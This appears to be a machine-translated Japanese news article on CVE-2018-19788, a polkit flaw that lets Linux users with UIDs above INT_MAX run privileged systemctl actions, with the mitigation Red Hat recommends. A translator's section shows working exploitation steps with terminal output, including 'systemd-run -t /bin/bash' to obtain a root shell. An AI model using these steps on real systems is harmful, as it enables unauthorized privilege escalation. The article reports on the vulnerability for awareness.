UID> INT_MAXの非特権Linuxユーザーは、任意のコマンドを実行できます

座って、今あなたに衝撃を与えているニュースがあります...



Linuxオペレーティングシステムには、UIDが2147483647を超える場合、低い特権を持つユーザーがsystemctlコマンドを実行する権限(さらにはルート-約Translatorになる)を許可される偽装されていない脆弱性があります。



画像



CVE-2018-19788として追跡される上記の脆弱性は、Red Hat、Debian、Ubuntu、CentOSなどのほとんどの一般的なLinuxディストリビューションにプリインストールされているPolicyKitライブラリ( polkitとも呼ばれます )バージョン0.115にあります。 Polkitは、ポリシーを定義し、特権プロセスに特権アクセスを提供するために使用されるUNIXライクシステム上のツールです。 「sudo」とは異なり、ユーザープロセスに管理者権限を与えるのではなく、許可されるものと禁止されるものを正確に制御します。



この脆弱性は、INT_MAXより大きいUIDを持つユーザーのPolicyKitリクエストの権限をチェックする際のエラーが原因です。 INT_MAXは、整数型の整数変数の最大値(2147483647(16進数0x7FFFFFFF))を格納する定数です。



したがって、INT_MAXを超えるUIDを持つアカウントを作成すると、PolicyKitコンポーネントはsystemctlコマンドを正常に実行します。



自分自身を「 0xm1rch 」と紹介したTwitterセキュリティ研究者Rich Mirchは、 4,000,000,000のUIDを持つユーザーを必要とする脆弱性を実証するための概念実証 (PoC)エクスプロイトをリリースしました。



Red Hatは、システム管理者がパッチがリリースされる前に問題を軽減するために、負のUIDまたは2147483646より大きいUIDを許可しないことを推奨します。



翻訳者によるいくつかの操作方法



最初の方法は、単にsystemctlを使用することです。 大きなUIDを持つユーザーを作成し、apache2を実行しようとしました。



1)最初に彼が嘘をついていることを確認した



$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead)
      
      





2)開始しようとしたが、エラーが発生した



 $ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
      
      





3)その後、まだ開始されていることを確認しました



 $ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service ├─2829 /usr/sbin/apache2 -k start ├─2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start
      
      





2番目の方法は、systemdを介してbashを実行することです。 次のコマンドを実行し、fsのルートにテキストドキュメントを作成し、それに行を追加して、結果を確認しました



 $ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello
      
      





私のubuntで実験しているときに、このようなパターンも見つかりました:そのようなUIDを持つユーザーの下でアカウント設定に行くと、すべての設定がロック解除され、ユーザーを編集/削除できます。



問題は、今どのように被害者ホストにそのようなUIDを持つユーザーの外観を「引き起こす」か、そしてこのバグは本当に脅威なのか?



All Articles